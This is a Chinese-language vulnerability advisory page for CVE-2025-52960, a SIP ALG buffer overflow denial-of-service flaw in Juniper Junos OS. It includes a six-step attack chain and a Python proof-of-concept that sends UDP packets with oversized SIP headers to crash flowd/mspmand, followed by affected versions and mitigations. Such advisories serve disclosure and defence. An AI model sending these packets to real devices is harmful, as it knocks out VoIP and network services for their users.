IPBUF安全漏洞报告
English
CVE-2025-52960 CVSS 5.9 中危

CVE-2025-52960 Juniper Junos OS SIP ALG缓冲区溢出拒绝服务漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-52960
漏洞类型
缓冲区溢出(未检查输入大小的缓冲区拷贝)
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Networks Junos OS(MX系列和SRX系列)

相关标签

缓冲区溢出拒绝服务DoSJunos OSJuniperSIP ALGMX SeriesSRX Series网络攻击未认证

漏洞概述

CVE-2025-52960是Juniper Networks Junos OS中会话初始化协议(SIP)应用层网关(ALG)组件存在的一个缓冲区拷贝未检查输入大小的安全漏洞。该漏洞存在于MX系列和SRX系列设备的SIP ALG处理模块中,允许未经认证的网络攻击者发起拒绝服务(DoS)攻击。当设备内存利用率较高且接收到特定的SIP数据包时,flowd/mspmand进程会发生崩溃。虽然系统能够自动恢复,但这种中断会显著影响服务的稳定性。如果在高内存利用率条件下持续接收这些特定SIP数据包,将导致持续的拒绝服务状态。该漏洞的利用条件较为特殊,因为内存利用率状态不受攻击者控制,攻击者无法确定性地触发此漏洞。此漏洞由Juniper Networks安全事件响应团队([email protected])发现并报告,于2025年10月9日公开披露。CVSS 3.1评分为5.9分,属于中危级别,攻击向量为网络远程利用,攻击复杂度较高,无需认证和用户交互,主要影响系统的可用性。

技术细节

该漏洞的根本原因在于SIP ALG模块在处理SIP协议数据包时,未对输入数据进行充分的边界检查即执行缓冲区拷贝操作。在正常SIP信令交互过程中,ALG需要解析和转发SIP消息,但当设备处于高内存利用率状态时,特定构造的SIP数据包会触发flowd或mspmand进程中的缓冲区拷贝逻辑异常,导致进程崩溃。

技术利用条件包括:1)目标设备必须运行受影响版本的Junos OS;2)设备必须启用SIP ALG功能;3)设备内存利用率需处于较高水平(此条件非攻击者可控制);4)攻击者需向目标设备的SIP服务端口(通常为5060/UDP或5060/TCP)发送特定构造的SIP数据包。

漏洞触发后,flowd/mspmand守护进程会立即崩溃,导致所有经过该设备的SIP相关流量处理中断。由于Juniper设备的flowd进程负责状态检测和会话管理,其崩溃会严重影响依赖SIP的VoIP、即时通信等业务。虽然系统会自动重启该进程恢复服务,但持续的恶意数据包会导致反复崩溃,形成持续的拒绝服务状态。值得注意的是,由于攻击者无法控制目标设备的内存利用率,因此该漏洞的利用具有不确定性,不能作为确定性攻击向量使用。

攻击链分析

STEP 1
步骤1:目标识别
攻击者通过网络扫描识别运行受影响版本Junos OS的Juniper MX或SRX系列设备,并确认目标设备启用了SIP ALG功能。
STEP 2
步骤2:环境评估
由于漏洞触发需要目标设备处于高内存利用率状态,攻击者会持续监控目标设备的响应情况,等待或尝试触发设备进入高内存利用率的时机。
STEP 3
步骤3:构造恶意SIP数据包
攻击者构造包含异常长度字段的SIP INVITE或REGISTER数据包,利用SIP协议头中的Via、To、From、Call-ID等字段填充超长数据,触发缓冲区拷贝时的边界检查缺失。
STEP 4
步骤4:发送攻击数据包
攻击者通过UDP/5060端口向目标设备发送构造的恶意SIP数据包,触发flowd/mspmand进程的缓冲区溢出。
STEP 5
步骤5:触发拒绝服务
flowd/mspmand进程崩溃,导致SIP流量处理中断,所有依赖SIP ALG的VoIP和实时通信服务受到影响。
STEP 6
步骤6:持续攻击
攻击者持续发送恶意SIP数据包,使系统反复进入崩溃-恢复-崩溃循环,造成持续的拒绝服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-52960 PoC - Juniper Junos OS SIP ALG Buffer Overflow DoS # This PoC demonstrates sending crafted SIP packets to trigger flowd/mspmand crash # when target device has high memory utilization import socket import struct import time TARGET_HOST = "192.168.1.1" # Target Juniper SRX/MX device TARGET_PORT = 5060 # Default SIP port def craft_malicious_sip_packet(): """ Craft a SIP INVITE packet with oversized header fields to trigger buffer copy without size check in SIP ALG """ # Create oversized SIP URI to trigger buffer overflow condition oversized_uri = "sip:" + "A" * 4096 + "@target.com" sip_packet = ( f"INVITE {oversized_uri} SIP/2.0\r\n" f"Via: SIP/2.0/UDP attacker.com;branch=z9hG4bK{'B' * 2048}\r\n" f"Max-Forwards: 70\r\n" f"To: <sip:user{'C' * 2048}@target.com>\r\n" f"From: <sip:[email protected]>;tag={'D' * 4096}\r\n" f"Call-ID: {'E' * 8192}@attacker.com\r\n" f"CSeq: 1 INVITE\r\n" f"Contact: <sip:[email protected]>\r\n" f"Content-Length: 0\r\n\r\n" ) return sip_packet.encode() def send_sip_flood(): """ Send crafted SIP packets to trigger the vulnerability Note: Exploitation requires target to have high memory utilization """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] Sending crafted SIP packets...") for i in range(100): try: packet = craft_malicious_sip_packet() sock.sendto(packet, (TARGET_HOST, TARGET_PORT)) print(f"[+] Packet {i+1} sent ({len(packet)} bytes)") time.sleep(0.1) except Exception as e: print(f"[-] Error: {e}") sock.close() print("[*] Attack completed") if __name__ == "__main__": send_sip_flood()

影响范围

Junos OS < 22.4R3-S7
Junos OS 23.2 (before 23.2R2-S4)
Junos OS 23.4 (before 23.4R2-S5)
Junos OS 24.2 (before 24.2R2)

防御指南

临时缓解措施
在升级到修复版本之前,建议采取以下临时缓解措施:1)如果业务允许,禁用SIP ALG功能;2)通过防火墙规则限制外部网络对SIP服务端口(5060/UDP和5060/TCP)的访问,仅允许可信IP访问;3)部署SBC(会话边界控制器)在Juniper设备前端过滤异常SIP流量;4)监控并控制设备内存利用率,避免长时间高负载运行;5)配置IDS/IPS规则检测异常长度的SIP消息头;6)启用Juniper设备的flowd/mspmand进程监控告警,及时发现进程异常重启。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表